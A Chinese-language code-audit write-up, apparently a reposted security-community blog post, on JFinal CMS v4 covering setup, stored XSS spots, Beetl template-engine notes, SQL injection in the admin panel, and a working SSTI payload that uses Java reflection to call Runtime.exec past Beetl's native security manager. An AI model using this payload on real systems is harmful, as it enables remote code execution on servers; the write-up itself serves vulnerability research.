聲明
出品|先知社區(qū)(ID:LeeH)
以下內(nèi)容,來自先知社區(qū)的LeeH作者原創(chuàng),由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失,均由使用者本人負(fù)責(zé),長白山攻防實驗室以及文章作者不承擔(dān)任何責(zé)任。
環(huán)境搭建
首先就是源碼的下載,之后只需要配置一下Mysql數(shù)據(jù)庫相關(guān)的配置就能夠啟動CMS
我們首先使用idea工具打開該項目源碼, idea將會自動加載依賴
之后我們將sql/jfinal_cms_v4.sql中的數(shù)據(jù)庫結(jié)構(gòu)進(jìn)行配置
我這里修改了一下,在前面加入了create database jfinal_cms; /use
jfinal_cms;這兩條命令,可以直接將sql代碼放入navicat進(jìn)行運行配置
或者可以采用在mysql命令行創(chuàng)建庫名之后使用source命令進(jìn)行加載,最后就是配置Tomcat運行
源碼分析
架構(gòu)
我們首先關(guān)注一下該CMS的技術(shù)選擇- web框架:JFinal
- 模板引擎:beetl
- 數(shù)據(jù)庫:mysql
- 前端:bootstrap框架
審計
這里我們采用黑盒和白盒相結(jié)合的方法進(jìn)行審計,我們從白盒角度考慮首先從后臺管理開始尋找脆弱點(因為一般的系統(tǒng),后臺總是比主頁更加脆弱)
關(guān)于admin的源碼,可以定位到com.jflyfox.mod-ules.admin包下

在其中的AdminController類中

其路由為/admin,默認(rèn)頁面調(diào)用了index方法,初次登錄,將會調(diào)用reader方法進(jìn)行/pages/ad-min/login.html頁面的渲染
這里的reader方法也就是調(diào)用了com.jfi-nal.core.Controller抽象類下的render方法,使用配置的模板引擎進(jìn)行渲染操作


主要是因為這個方法是實現(xiàn)了JFinalConfig類的方法,而在com.jfinal.core.Config類中的con-figJFinal方法是存在JFinalConfig類的方法調(diào)用的
包含有
constant
interceptor
route
plugin
engine
handler
這些配置

所謂"知己知彼", 對項目的足夠的熟悉,對于項目的漏洞挖掘來說也是不可或缺的一個重要部分
XSS1
在這個CMS中,針對XSS的防護(hù)幾乎為零,在后臺管理中,就是幾乎沒有任何的防御錯誤,各種的存儲型XSS層出不窮,幾乎是有框就有XSS

如果在這些位置能夠插入XSS payload就好了,但是經(jīng)過嘗試,不能夠直接插入payload,會有格式的錯誤
我們看看是如何進(jìn)行驗證的,對應(yīng)的Controller為RegistController類



XSS2
不同于前面直接在創(chuàng)建用戶的位置插入payload

這里定位到后端代碼就是com.jflyfox.modules.fro-nt.controller.PersonController類中



XSS3

然而,攻擊者仍有可能利用一些漏洞來繞過escapeHtml方法的檢查。下面是一些常見的繞過方法:
1.利用HTML實體名稱的漏洞:攻擊者可能會使用HTML實體名稱的漏洞來繞過escapeHtml方法。
2.利用Unicode編碼的漏洞:攻擊者可能會使用Unicode編碼的漏洞來繞過escapeHtml方法。
此外,攻擊者還可能會使用HTML注釋的漏洞、HTML屬性的漏洞等來繞過escapeHtml方法的檢查。
SSTI
這里既然使用了一個模板引擎進(jìn)行渲染,使用的是beetl,沒怎么使用過這種引擎,學(xué)習(xí)一下,看看是否具有SSTI的漏洞的產(chǎn)生
他的官方文檔地址在https://www.kancloud.c-n/xiandafu/beetl3_guide
我這里簡單記了一些相關(guān)關(guān)鍵的內(nèi)容
基本的模板語法
模板的配置
默認(rèn)配置在/org/beetl/core/beetldefault.proper-ties里,Beetl首先加載此配置文件,然后再加載classpath里的beetl.properties,并用后者覆蓋前者。配置文件通過Configuration類加載,因此加載完成后,也可以通過此類API來修改配置信息
下面是一些需要關(guān)注的配置
# 指定占位符DELIMITER_PLACEHOLDER_START=${DELIMITER_PLACEHOLDER_END=}# 指定定界符DELIMITER_STATEMENT_START=<%DELIMITER_STATEMENT_END=%># 字符集TEMPLATE_CHARSET = UTF-8# 指定本地Class調(diào)用的安全策略NATIVE_SECUARTY_MANAGER= org.beetl.core.DefaultNativeSecurityManager
定界符和占位符,默認(rèn)為
<%var a = 2;var b = 3;var result = a+b;%>hello 2+3=${result}
同樣可以自定義定界符和占位符,注釋
///**/
屬性
使用${xxx.name}
如果為數(shù)組或者List,?${user[0]}
需要知道Java集合,數(shù)組長度,統(tǒng)一用虛擬屬性~size來表示
var list=[1,2,3];var size = list.~size
函數(shù)調(diào)用
print打印一個對象print(user.name);
json將對象轉(zhuǎn)成json字符串,如var data=json(userList)可以跟一個序列化規(guī)則,如var data=json(userList,"[*].id:i"),具體參考https://gi-t.oschina.net/xiandafu/beetl-json
decode一個簡化的if else結(jié)構(gòu),如dec-ode(a,1,"a=1",2,"a=2","不知道了"),如果a是1,這decode輸出"a=1",如果a是2,則輸出"a==2", 如果是其他值,則輸出"不知道了"
flush強制io輸出
pageCtx ,僅僅在web開發(fā)中,設(shè)置一個變量,然后可以在頁面渲染過程中,調(diào)用此api獲取,如pageCtx("title","用戶添加頁面"),在其后任何地方,可以pageCtx("title") 獲取該變量
type.new創(chuàng)建一個對象實例,如var user=type.new("com.xx.User"); 如果配置了IMPORT_PACKAGE,則可以省略包,type.new("User")
type.name返回一個實例的名字,var userClassName=type.name(user),返回"User"
global返回一個全局變量值,參數(shù)是一個字符串,如var user= global("user_"+i);
cookie返回指定的cookie對象,如var userCoo= cookie("user"),allCookies = cookie();
安全輸出
如果變量為空,不進(jìn)行輸出,可以在變量引用后加上?!?以提醒beetl這是一個安全輸出的變量,變量確實有可能不存在
如${user.wife.name! },即使user不存在,或者user為null,或者user.wife為null,或者user.wife.name為null beetl都不將輸出可以在!后增加一個常量(字符串,數(shù)字類型等),或者另外一個變量,方法,本地調(diào)用,作為默認(rèn)輸出,譬如:
${user.wife.name!"單身"}`,如果user為null,或者user.wife為null,或者user.wife.name為null,輸出`單身調(diào)用Java方法和屬性
${@user.getMaxFriend(“l(fā)ucy”)}${@user.maxFriend[0].getName()}${@com.xxxx.constants.Order.getMaxNum()}${@com.xxxx.User$Gender.MAN}<%var max = @com.xxxx.constants.Order.MAX_NUM;var c =1;var d = @user.getWife(c).getName();%>
可以調(diào)用instance的public方法和屬性,也可以調(diào)用靜態(tài)類的屬性和方法 ,需要加一個 @指示此調(diào)用是直接調(diào)用class,其后的表達(dá)式是java風(fēng)格的。
GroupTemplate可以配置為不允許直接調(diào)用Class以增強安全性,具體請參考配置文件
自定義安全管理器
所有模板的本地調(diào)用都需要通過安全管理器校驗,默認(rèn)需要實現(xiàn)NativeSecurityManager的public boolean permit(String resourceId, Class c, Object target, String method) 方法
如下是默認(rèn)管理器的實現(xiàn)方法
public?class?DefaultNativeSecurityManager?implements?NativeSecurityManager{@Overridepublic boolean permit(String resourceId, Class c, Object target, String method){if (c.isArray()){//允許調(diào)用,但實際上會在在其后調(diào)用中報錯。不歸此處管理return true;}String name = c.getSimpleName();String pkg = c.getPackage().getName();if (pkg.startsWith("java.lang")){if (name.equals("Runtime") || name.equals("Process") || name.equals("ProcessBuilder")|| name.equals("System")){return false;}}return true;}}


我們這里按照其他模板引擎的數(shù)據(jù),將備注修改為了${4+4},但是在渲染之后并沒有執(zhí)行這個模板語法,也即是渲染出4這個值
轉(zhuǎn)而顯示的是${4+4}這個字符串
這里就和我們之前學(xué)習(xí)的freemarker這個模板引擎很相似,同樣利用的點是在模板語法本身,不同于velocity等引擎,如果直接渲染用戶輸入payload將會被轉(zhuǎn)碼而失效
所以這里的利用場景應(yīng)該和freemarker一樣,為上傳點或者修改模板文件點,接下來我們尋找該CMS的上傳位置
仔細(xì)看了一圈,前臺并沒有什么上傳點,之后選擇看看后臺

這里存在有一個模板管理的功能。這里能夠編輯模板,我們可以在這里對模板文件進(jìn)行編輯,添加上我們的payload
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

這里解釋一下這個payload的構(gòu)造。根據(jù)前面我們對beelt的了解,我們知道它內(nèi)置了一個調(diào)用本地Class的安全策略
# 指定本地Class調(diào)用的安全策略NATIVE_SECUARTY_MANAGER= org.beetl.core.DefaultNativeSecurityManager

return !pkgName.startsWith("java.lang") || !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("System");默認(rèn)是不能夠直接進(jìn)行系統(tǒng)調(diào)用的,我們這里利用的是Java的反射機制,結(jié)合beelt的模板語法構(gòu)造惡意payload
SQL
在前端中幾乎所有的數(shù)據(jù)庫交互都是使用的Jfinal框架中的接口,使用的是預(yù)編譯的方法,有效避免了SQL注入的產(chǎn)生,但是在后臺中存在有大量的SQL注入,未經(jīng)過濾就和sql語句進(jìn)行拼接,造成了SQl注入的產(chǎn)生

其他位置還有很多,觸發(fā)原因都是類似的
歡迎關(guān)注長白山攻防實驗室微信公眾號定期更新優(yōu)質(zhì)文章分享